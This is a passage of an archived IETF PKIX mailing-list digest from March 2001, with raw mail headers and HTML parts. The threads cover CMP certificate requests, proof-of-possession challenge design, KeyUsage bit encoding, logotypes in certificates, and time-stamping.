<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hi =
Vivek,</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"MS Sans Serif">----------</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">From:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">vivek =
saraf[SMTP:[e-mail]]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Sent:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Wednesday, March 21, 2001 5:08 =
AM</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">To:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">[e-mail]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Subject:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">How to send class info from RA to CA</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hello,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; I have a CA running which =
issues multiple classes</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">of certifiactes. Now when RA requests =
a certifiacte</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">for a user, the RA should specify the =
class for which</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">it is requesting, but in the PKI =
message i don't find</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">any field for sending the class =
information.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I have Free text in the PKI Header, if =
i use this it</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">will not be inter operable.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Can any body help me</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">How does =
the issued certificate indicate what class it is?&nbsp; Is it by some =
extension, or is it by an indicator somehow embedded in the name of the =
subject or the issuer?&nbsp; Whatever mechanism you choose to use, all =
you have to do is use the same mechanism in the certTemplate in the =
request message from the RA to the CA.&nbsp; This is why the =
certTemplate exists; it allows the requester to specify to the CA =
exactly the cert contents that are important to them.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">Carlisle.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0B223.82465220--


Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA12681 for <[e-mail]>; Wed, 21 Mar 2001 08:22:51 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21) id <G9HSWMTP>; Wed, 21 Mar 2001 11:22:22 -0500
Message-ID: <[e-mail]>
From: Carlisle Adams <[e-mail]>
To: "'Ari Kermaier'" <[e-mail]>
Cc: [e-mail]
Subject: RE: draft-ietf-pkix-rfc2510bis-03
Date: Wed, 21 Mar 2001 11:18:39 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0B222.96F9CF40"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0B222.96F9CF40
Content-Type: text/plain

Hi Ari,

> ----------
> From: 	Ari Kermaier[SMTP:[e-mail]]
> Sent: 	Thursday, March 15, 2001 12:35 AM
> To: 	[e-mail]
> Cc: 	Carlisle Adams
> Subject: 	draft-ietf-pkix-rfc2510bis-03
> 
> Dear All,
> 
> I'm seeking clarification of the challenge-response proof-of-possession 
> protocol in CMP. The POP challenge is defined in section 3.2.8 as follows:
> 
>       Challenge ::= SEQUENCE {
>           owf                 AlgorithmIdentifier  OPTIONAL,
>           -- MUST be present in the first Challenge; MAY be omitted in any
>           -- subsequent Challenge in POPODecKeyChallContent (if omitted,
>           -- then the owf used in the immediately preceding Challenge is
>           -- to be used).
>           witness             OCTET STRING,
>           -- the result of applying the one-way function (owf) to a
>           -- randomly-generated INTEGER, A.  [Note that a different
>           -- INTEGER MUST be used for each Challenge.]
>           challenge           OCTET STRING
>           -- the encryption (under the public key for which the cert.
>           -- request is being made) of Rand, where Rand is specified as
>           --   Rand ::= SEQUENCE {
>           --      int      INTEGER,
>           --       - the randomly-generated INTEGER A (above)
>           --      sender   GeneralName
>           --       - the sender's name (as included in PKIHeader)
>           --   }
>       }
> 
> 1) What is the purpose of including the sender's name in the sequence to
> be 
> encrypted? Does it guard against some sort of attack?
 
The easy answer is that all this structure does is encode the protocol given
on page 404 of "Handbook of Applied Cryptography" and, as we are all well
aware, it is unwise to make arbitrary changes to security protocols --
typically, all parameters present in a secure protocol are there for a
reason and should not be removed.

The "real" answer is that this prevents someone else from stealing the
witness and the challenge and presenting them to the receiver as his own
Challenge.  The witness is there to prove that the sender actually did know
the random number beforehand (in order to preclude chosen text attacks), but
it does not provide this value if it can be stolen and presented
successfully by someone else who doesn't know the number.  Therefore, when
the receiver decrypts "challenge", she hashes "int" and matches it up with
"witness", but she also looks at "sender" to verify that it matches up with
the actual sender of the message.

> 2) Since it is quite possible that the DER encoding of the Rand sequence 
> will have length greater than k-11 octets, where k is the length of the
> RSA 
> public modulus (for the RSA key case), what method should be used for 
> performing this encryption and formatting the contents of the challenge 
> OCTET STRING?
 
I don't think Rand will typically be too long to be used for RSA.  The
random integer itself need not be long (64 bits would be lots; even 32 may
be sufficient for this purpose).  Therefore, using a 1024-bit modulus you
would still have well over 100 octets for the "sender" field.  If, in some
environment, names are so long that they really can't fit (e.g., very long
DNs), then perhaps whatever portion will fit should be used (as long as it
includes at least the common name, of course).

> Any help would be most appreciated.
 
Hope this helps!

Carlisle.


------_=_NextPart_001_01C0B222.96F9CF40
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: draft-ietf-pkix-rfc2510bis-03</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hi =
Ari,</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"MS Sans Serif">----------</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">From:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Ari =
Kermaier[SMTP:[e-mail]]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Sent:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Thursday, March 15, 2001 12:35 =
AM</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">To:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">[e-mail]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Cc:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans Serif">Carlisle =
Adams</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Subject:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">draft-ietf-pkix-rfc2510bis-03</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Dear All,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I'm seeking clarification of the =
challenge-response proof-of-possession </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">protocol in CMP. The POP challenge is =
defined in section 3.2.8 as follows:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Challenge ::=3D SEQUENCE {</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
owf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; AlgorithmIdentifier&nbsp; OPTIONAL,</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
-- MUST be present in the first Challenge; MAY be omitted in any</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
-- subsequent Challenge in POPODecKeyChallContent (if omitted,</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
-- then the owf used in the immediately preceding Challenge is</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
-- to be used).</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
witness&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp; OCTET STRING,</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
-- the result of applying the one-way function (owf) to a</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
-- randomly-generated INTEGER, A.&nbsp; [Note that a different</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
-- INTEGER MUST be used for each Challenge.]</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
challenge&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
OCTET STRING</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
-- the encryption (under the public key for which the cert.</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
-- request is being made) of Rand, where Rand is specified as</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
--&nbsp;&nbsp; Rand ::=3D SEQUENCE {</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
INTEGER,</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - the randomly-generated INTEGER =
A (above)</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sender&nbsp;&nbsp; GeneralName</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
--&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - the sender's name (as included =
in PKIHeader)</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
--&nbsp;&nbsp; }</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
}</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">1) What is the purpose of including =
the sender's name in the sequence to be </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">encrypted? Does it guard against some =
sort of attack?</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">The easy =
answer is that all this structure does is encode the protocol given on =
page 404 of &quot;Handbook of Applied Cryptography&quot; and, as we are =
all well aware, it is unwise to make arbitrary changes to security =
protocols -- typically, all parameters present in a secure protocol are =
there for a reason and should not be removed.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">The =
&quot;real&quot; answer is that this prevents someone else from =
stealing the witness and the challenge and presenting them to the =
receiver as his own Challenge.&nbsp; The witness is there to prove that =
the sender actually did know the random number beforehand (in order to =
preclude chosen text attacks), but it does not provide this value if it =
can be stolen and presented successfully by someone else who doesn't =
know the number.&nbsp; Therefore, when the receiver decrypts =
&quot;challenge&quot;, she hashes &quot;int&quot; and matches it up =
with &quot;witness&quot;, but she also looks at &quot;sender&quot; to =
verify that it matches up with the actual sender of the =
message.</FONT></P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"Arial">2) Since it is quite possible that the =
DER encoding of the Rand sequence </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">will have length greater than k-11 =
octets, where k is the length of the RSA </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">public modulus (for the RSA key =
case), what method should be used for </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">performing this encryption and =
formatting the contents of the challenge </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">OCTET STRING?</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">I don't =
think Rand will typically be too long to be used for RSA.&nbsp; The =
random integer itself need not be long (64 bits would be lots; even 32 =
may be sufficient for this purpose).&nbsp; Therefore, using a 1024-bit =
modulus you would still have well over 100 octets for the =
&quot;sender&quot; field.&nbsp; If, in some environment, names are so =
long that they really can't fit (e.g., very long DNs), then perhaps =
whatever portion will fit should be used (as long as it includes at =
least the common name, of course).</FONT></P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"Arial">Any help would be most =
appreciated.</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hope this =
helps!</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">Carlisle.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0B222.96F9CF40--


Received: from lobster.baynetworks.com (ns3.BayNetworks.COM [192.32.253.3]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA11693 for <[e-mail]>; Wed, 21 Mar 2001 08:11:32 -0800 (PST)
Received: from mailhost.BayNetworks.COM (ns4.baynetworks.com [132.245.135.84]) by lobster.baynetworks.com (8.9.1/8.9.1) with ESMTP id LAA12751 for <[e-mail]>; Wed, 21 Mar 2001 11:16:52 -0500 (EST)
Received: from pobox.engeast.BayNetworks.COM (pobox.engeast.baynetworks.com [192.32.61.6]) by mailhost.BayNetworks.COM (8.9.1/8.8.8) with ESMTP id LAA06702 for <[e-mail]>; Wed, 21 Mar 2001 11:11:03 -0500 (EST)
Received: from prkumar (dhcp250-134 [192.32.250.134]) by pobox.engeast.BayNetworks.COM (SMI-8.6/BNET-97/04/24-S) with SMTP id LAA20720; Wed, 21 Mar 2001 11:11:02 -0500 for <[e-mail]>
Reply-To: <[e-mail]>
From: "Prashant Kumar" <[e-mail]>
To: <[e-mail]>
Subject: Question from a new comer about KeyUsage
Date: Wed, 21 Mar 2001 11:26:02 -0500
Message-ID: <000701c0b223$9fb4ce40$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

In one of the Microsoft Certificate the Key usage bits are 
set as 0x05 A0(0000 0101 1010 0000). If we open the 
certificate using MS it claims that

1. Digital Signature, Key Encipherment[A0] bits are set.

However if you go according to the RFC 2459 it actually has
Digital Signature, nonRepudiation, and dataEncipherment set
....(Bits 0, 1 and 3) bit 8 is the right most bit... 

KeyUsage ::= BIT STRING {
digitalSignature (0),
nonRepudiation (1),
keyEncipherment (2),
dataEncipherment (3),
keyAgreement (4),
keyCertSign (5), 
cRLSign (6),
encipherOnly (7),
decipherOnly (8) } 

Any Comments ?

Regards,
Prashant.



Received: from web3202.mail.yahoo.com (web3202.mail.yahoo.com [204.71.202.199]) by above.proper.com (8.9.3/8.9.3) with SMTP id CAA09442 for <[e-mail]>; Wed, 21 Mar 2001 02:08:34 -0800 (PST)
Message-ID: <[e-mail]>
Received: from [202.144.45.2] by web3202.mail.yahoo.com; Wed, 21 Mar 2001 02:08:35 PST
Date: Wed, 21 Mar 2001 02:08:35 -0800 (PST)
From: vivek saraf <[e-mail]>
Subject: How to send class info from RA to CA
To: [e-mail]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Hello,


   I have a CA running which issues multiple classes
of certifiactes. Now when RA requests a certifiacte
for a user, the RA should specify the class for which
it is requesting, but in the PKI message i don't find
any field for sending the class information.

I have Free text in the PKI Header, if i use this it
will not be inter operable.

Can any body help me

Regards,
Vivek Saraf


__________________________________________________
Do You Yahoo!?
Get email at your own domain with Yahoo! Mail. 
http://personal.mail.yahoo.com/


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id UAA07263 for <[e-mail]>; Tue, 20 Mar 2001 20:57:02 -0800 (PST)
Received: from [128.33.238.79] (TC079.BBN.COM [128.33.238.79]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id XAA06958; Tue, 20 Mar 2001 23:53:35 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010402b6dde3f12ea0@[128.33.238.79]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Tue, 20 Mar 2001 23:56:53 -0500
To: Dean Povey <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Logotypes in certificates
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Dean and Stefan,

As a security kinda' guy, I always approach this from the "what will 
the bad giy do" perspective.  From that perspective, I worry that a 
TTP CA will cerfity company X, putting the company X logo in the 
cert. Then company X will issue a cert to a subordinate CA, and put 
in that cert an inappropriate logo. It is not realistic for an app to 
display a chain of logos, and expect a user to pay attention, any 
more that if one displayed a chain of DNs.  I still maintain that we 
can agree on what would be a reasonable set of circumstances in which 
the logo extension would be useful and safe, but I don't see a 
technical means of enforcing these circumstances without changes to 
the path validation algorithm. I am open to suggestions that provide 
the necessary controls and don't have this unfortunate side effect, 
but I have yet to see an example of such.

Steve


Received: from thunder.dstc.qut.edu.au (thunder.dstc.qut.edu.au [131.181.71.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id UAA06106 for <[e-mail]>; Tue, 20 Mar 2001 20:13:54 -0800 (PST)
Received: from dstc.qut.edu.au (garnet.dstc.qut.edu.au [131.181.71.36]) by thunder.dstc.qut.edu.au (8.10.1/8.10.1) with ESMTP id f2L49lm27322; Wed, 21 Mar 2001 14:09:48 +1000 (EST)
Message-Id: <[e-mail]>
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
To: Stefan Santesson <[e-mail]>
cc: Stephen Kent <[e-mail]>, Tim Moses <[e-mail]>, [e-mail]
Subject: Re: Logotypes in certificates 
In-Reply-To: Message from Stefan Santesson <[e-mail]>  of "Tue, 20 Mar 2001 23:06:38 +0100." <[e-mail]> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 21 Mar 2001 14:09:47 +1000
From: Dean Povey <[e-mail]>

>
>I also suppose that the only way a logotype could undermine the naming 
>schema is if logotypes have such significant impact on entity recognition, 
>that users in general would se the logo and not notice that the DN is in 
>conflict with the logotype.
>
>If this is correct then you acknowledge the importance of logotypes as 
>instrument of recognition, which speaks for that we should find a way to 
>handle logotypes in certificates and not the opposite.

Surely it would be the responsibility of the CA to determine the logo -> 
DN mapping.  From a software perspective the path validation algorithm 
should not be affected. The logo is just there to help the user make a 
better decision about whether to trust the certificate.

Cheers.



-- 
Dean Povey,         | e-m: [e-mail] | JCSI:  Java Crypto Toolkit 
Research Scientist  | ph:  [phone]   | uPKI:  C PKI toolkit for embedded
Security Unit, DSTC | fax: [phone]   |        systems
Brisbane, Australia | www: security.dstc.com | Oscar: C++ PKI toolkit 




Received: from exafix.addtrust.com ([212.112.175.83]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA19650 for <[e-mail]>; Tue, 20 Mar 2001 14:06:26 -0800 (PST)
Received: from santesson.addtrust.com ([135.222.66.11]) by exafix.addtrust.com with Microsoft SMTPSVC(5.0.2195.1600); Tue, 20 Mar 2001 23:05:14 +0100
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Tue, 20 Mar 2001 23:06:38 +0100
To: Stephen Kent <[e-mail]>, Tim Moses <[e-mail]>
From: Stefan Santesson <[e-mail]>
Subject: RE: Logotypes in certificates
Cc: [e-mail]
In-Reply-To: <p05010401b6dd44780032@[128.33.238.40]>
References: < <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-OriginalArrivalTime: 20 Mar 2001 22:05:14.0812 (UTC) FILETIME=[D75BAFC0:01C0B189]

Steve,

I think you comment is valid, but I challenge your conclusion that we 
better not use logotypes with certificates.

I think we agree that a logo in a certificate doesn't affect path 
validation processing technically (they are not part of the process), with 
or without name constraints. So when you talk about logotypes undermining 
the name constraints function I suppose you identify the case when:

1) A CA have a DN which doesn't violate name constraints from any cross 
certifying CA
2) This CA use a logotype which in fact does conflict with the same name 
constraints
3) A user looks at the logotype and ignores the DN.

For this to be true, the certificate must contain conflicting information. 
I.e. the certificate must contain a DN and a logotype which doesn't match.

I wander what CA, being certified by a significant trust anchor, that would 
do this and at the same time sign and seal this information fraud with its 
own signature? The CA simply couldn't get away with it!

I also suppose that the only way a logotype could undermine the naming 
schema is if logotypes have such significant impact on entity recognition, 
that users in general would se the logo and not notice that the DN is in 
conflict with the logotype.

If this is correct then you acknowledge the importance of logotypes as 
instrument of recognition, which speaks for that we should find a way to 
handle logotypes in certificates and not the opposite.

Personally I think that a conflict between a logotypes and a names in 
certificates can be handled on a contractual/legal level and should not 
stop us from using them in certificates.

/Stefan




At 12:34 2001-03-20 -0500, you wrote:
>At 8:58 AM -0500 3/20/01, Tim Moses wrote:
>>Colleagues - I am supportive of the idea of including branding 
>>information in certificates.  I recognize Steve's concern.  But, I 
>>suggest that there should be no impact on processing rules ... other than 
>>... in applications where the relying party is a human, the logo from the 
>>very first certificate in the path should be displayed to him/her.  When 
>>a relying party accepts a trust anchor, their experience should be 
>>identical regardless of the details of the remainder of the path.  Best 
>>regards.  Tim.
>
>Tim,
>
>My comment re validation processing arises because of the possible 
>undermining of name constraints, as I noted earlier. So, for example, I 
>might be comfortable accepting a cert with a logo reference IF the cert 
>path validation did not include a name constraints extension. But, how do 
>I enforce this sort of rule without changing the path validation algorithm?
>
>Steve



Received: from wildpackets.com (wildpackets.com [192.216.124.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA10605 for <[e-mail]>; Tue, 20 Mar 2001 11:28:47 -0800 (PST)
Received: from GARYNOTEBOOK (gary-dock.wildpackets.com [192.216.124.61]) by wildpackets.com (8.11.1/8.10.1) with SMTP id f2KJOIT18313 for <[e-mail]>; Tue, 20 Mar 2001 11:24:18 -0800 (PST)
From: "Gary Visser" <[e-mail]>
To: "IETF-PKIX" <[e-mail]>
Subject: RE: Time-stamping.
Date: Tue, 20 Mar 2001 11:28:40 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_0008_01C0B130.E9ED3F40"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <001a01c0b130$280b4e30$966801c4@insight>
Importance: Normal

This is a multi-part message in MIME format.

------=_NextPart_000_0008_01C0B130.E9ED3F40
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Peasant Dambe wrote:
> Time-stamping of the dataum does not bind the time-stamped data to
paticular user.
> So where it will be used as it does not bind creator identity.
Correct, but the timestamp is bound to a particular entity. This entity is
providing a service similar to a public notary, someone who can attest to
the fact that the datum existed prior to a specific point in time.

> Any one can claim that  I am the author of the document.
Sure they can make the claim, but can they prove it? If you time-stamped the
document, you are claiming to have 'seen' a digest of the document, not that
you are its author. As an entity that timestamps documents I will go into a
court of law and attest to the fact that an agent of mine saw a digest of a
document at a particular point in time, provided of course that I have
determined that my agent has not been compromised. I will not make any
claims regarding the content or author of the document.

> Until there is specifically identification of the creator inside the
document itself.
> One way to do this is to to sign over dataum plus time-stamped -data.
> And if the time-stamped signature value is placed as unsigned attribute,
> it can be also replaced and it is undetectable in current specification.
> So in the current draft IS time-stamp generated fully secured?
I do not believe that the draft says you can not include the timestamp as a
signed attribute.
So you are free to do this in your systems. Others may also choose to do
this.
But the timestamp is a separate entity from the datum and need not be a
signed attribute.
An alternative that provides basically the same level of trust, is to
require that the timestamp be available from the author or timestamp
authority separate from the datum.
If the draft required that the timestamp be a signed attribute, then you
would not, for example, be able to append timestamps to messages within the
mail server as they are being delivered.

Keep in mind that these standards are not enough to build a 'fully secured'
system. You must apply and adhere to a security policy to make the system as
'fully' secured as needed. I believe that the authors of these standards go
to great lengths to ensure that no particular security policy is mandated by
the standard. Thereby allowing you to build a system that meets your
requirements.


Gary Visser
Timestamp.com

-----Original Message-----
From: Prashant Dambe [mailto:[e-mail]]
Sent: Tuesday, March 20, 2001 3:23 AM
To: [e-mail]
Subject: Time-stamping.



Time-stamping of the dataum does not bind the time-stamped data to paticular
user.
So where it will be used as it does not bind creator identity. Any one can
claim that  I am the author of the document. Until there is specifically
identification
of the creator inside the document itself.
One way to do this is to to sign over dataum plus time-stamped -data.
In this case user can replace the signature put its own signature.
So Is not that time-stampng of signature value is necessary.
And if the time-stamped signature value is placed as unsigned attribute,
it can be also replaced and it is undetectable in current specification.
So in the current draft IS time-stamp generated fully secured?


Prashant Dambe

------=_NextPart_000_0008_01C0B130.E9ED3F40
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4611.1300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial color=3D#0000ff =

size=3D2>Peasant Dambe wrote:</FONT></SPAN></DIV>
<DIV><SPAN class=3D580000115-20032001>
<DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
class=3D580000115-20032001>&gt; </SPAN>Time-stamping of the dataum does =
not bind=20
the time-stamped data to paticular user.</FONT></FONT></FONT></DIV>
<DIV><SPAN class=3D580000115-20032001>
<DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
class=3D580000115-20032001>&gt; </SPAN>So where it will be used as it =
does not=20
bind creator identity.</FONT></FONT></FONT></DIV><FONT =
face=3DArial><FONT=20
color=3D#0000ff><FONT size=3D2>Correct, but the timestamp is bound to a =
particular=20
entity. This entity is providing a service similar to a public notary, =
someone=20
who can attest to the fact that the datum existed prior to a specific =
point in=20
